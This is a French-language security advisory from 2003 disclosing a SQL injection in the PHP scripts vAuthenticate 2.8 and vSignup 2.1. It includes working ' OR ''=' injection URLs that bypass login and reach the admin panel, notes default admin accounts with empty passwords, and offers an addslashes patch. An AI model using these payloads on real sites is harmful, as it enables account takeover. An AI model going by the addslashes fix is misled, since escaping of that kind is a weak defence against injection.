vSignup/vAuthenticate ********************* Informations : °°°°°°°°°°°°°° ----------------------- Produit : vAuthenticate Version : 2.8 ----------------------- Produit : vSignup Version : 2.1 ----------------------- Website : http://www.beanbug.net Problèmes : - Injection SQL -> accès aux comptes users/admins - Admins par défaut Developpement : °°°°°°°°°°°°°°° vAuthenticate est un script d'authentification pouvant s'adapter à toute sorte de site/script. vSignup est une partie membre. Ces deux scripts ont été créé par la même personne et se ressemblent beaucoup. Dans les pages reservées aux membres, par exemple chgpwd.php, on peut voir les lignes suivantes : ----------------------------------------------- ----------------------------------------------- auth.php contient une class, authconfig.php contient les informations de la configuration, et un code que voici s'execute dans check.php : ---------------------------------------------------------------------------------------------------- page_check($USERNAME, $PASSWORD); if ($check == false) { // Feel free to change the error message below. Just make sure you put a "\" before // any double quote. print ""; print "Illegal Access"; print "
"; print ""; print "You do not have permission to view this page."; exit; // End program execution. This will disable continuation of processing the rest of the page. } ?> ---------------------------------------------------------------------------------------------------- Ici la class se trouvant dans auth.php est utilisée. On peut voir qu'on y execute la fonction page_check(), avec comme arguments les variables $USERNAME et $PASSWORD. Si on va voir dans auth.php, on voit cette fonction : --------------------------------------------------------------------------------------------------- function page_check($username, $password) { $query = "SELECT * FROM authuser WHERE uname='$username' AND passwd='$password' AND status <> 'inactive'"; $connection = mysql_connect($this->HOST, $this->USERNAME, $this->PASSWORD); // OLD CODE - DO NOT REMOVE // $result = mysql_db_query($this->DBNAME, $query); // REVISED CODE $SelectedDB = mysql_select_db($this->DBNAME); $result = mysql_query($query); $numrows = mysql_num_rows($result); $row = mysql_fetch_array($result); // CHECK IF THERE ARE RESULTS // Logic: If the number of rows of the resulting recordset is 0, that means that no // match was found. Meaning, wrong username-password combination. if ($numrows == 0) { return false; } else { return $row; } } // End: function page_check --------------------------------------------------------------------------------------------------- La faille se trouve dans cette fonction, comme dans la fonction authenticate() de cette class. Elle se trouve dans la ligne de code : $query = "SELECT * FROM authuser WHERE uname='$username' AND passwd='$password' AND status <> 'inactive'"; Si on rentre comme valeur à username et password ' OR ''=', grâce à une url du type http://[target]/chgpwd.php?USERNAME='%20OR%20''='&PASSWORD='%20OR%20''=', la requête SQL executée deviendra : SELECT * FROM authuser WHERE uname='' OR ''='' AND passwd='' OR ''='' AND status <> 'inactive' et comme l'expression ''='' retourne toujours vrai, comme 1=1 ou 'aaa'='aaa', la requête retournera vrai. On sera alors loggé avec le premier compte enregistré dans la base de donné, qui est à 90% de chance le compte administrateur. http://[target]/chgpwd.php?USERNAME=Bob&PASSWORD='%20OR%20''=' donnera accès au compte de Bob. Il y a moyen, avec cette même faille, d'acceder à la partie admin, avec un compte administrateur à coup sûr. Dans admin/index.php, on peut voir : ------------------------------------------ 'inactive' en : SELECT * FROM authuser WHERE uname='' OR ''='' AND passwd='' OR ''='' AND level='1' AND status <> 'inactive' grâce à l'url, par exemple : http://[target]/admin/index.php?USERNAME='%20OR%20''='&PASSWORD='%20OR%20''=''%20AND%20level='1 Enfin, dans createdb.sql, on peut voir les lignes SQL : ------------------------------------------------------------------------------- INSERT INTO authuser VALUES ( '1', 'sa', '', 'Admin', '1', 'active', '', 0); INSERT INTO authuser VALUES ( '2', 'admin', '', 'Admin', '1', 'active', '', 0); ------------------------------------------------------------------------------- Il y a donc des chances de tomber sur 2 comptes admin, 'sa' et 'admin', et de pouvoir y accèder sans passwords. Patch : °°°°°°° Mettre dans auth.php, comme deux premières lignes des fonctions authenticate() et page_check() les lignes de code suivantes : ------------------------------------------------ $username=addslashes($username); $password=addslashes($password); ------------------------------------------------ Supprimer les deux admins si ils existent. Un patch est disponible sur http://www.phpsecure.org Credits : °°°°°°°°° Auteur : frog-m@n E-mail : frog-man@frog-man.org Website : http://www.phpsecure.org, http://www.frog-man.org Date : 14/01/03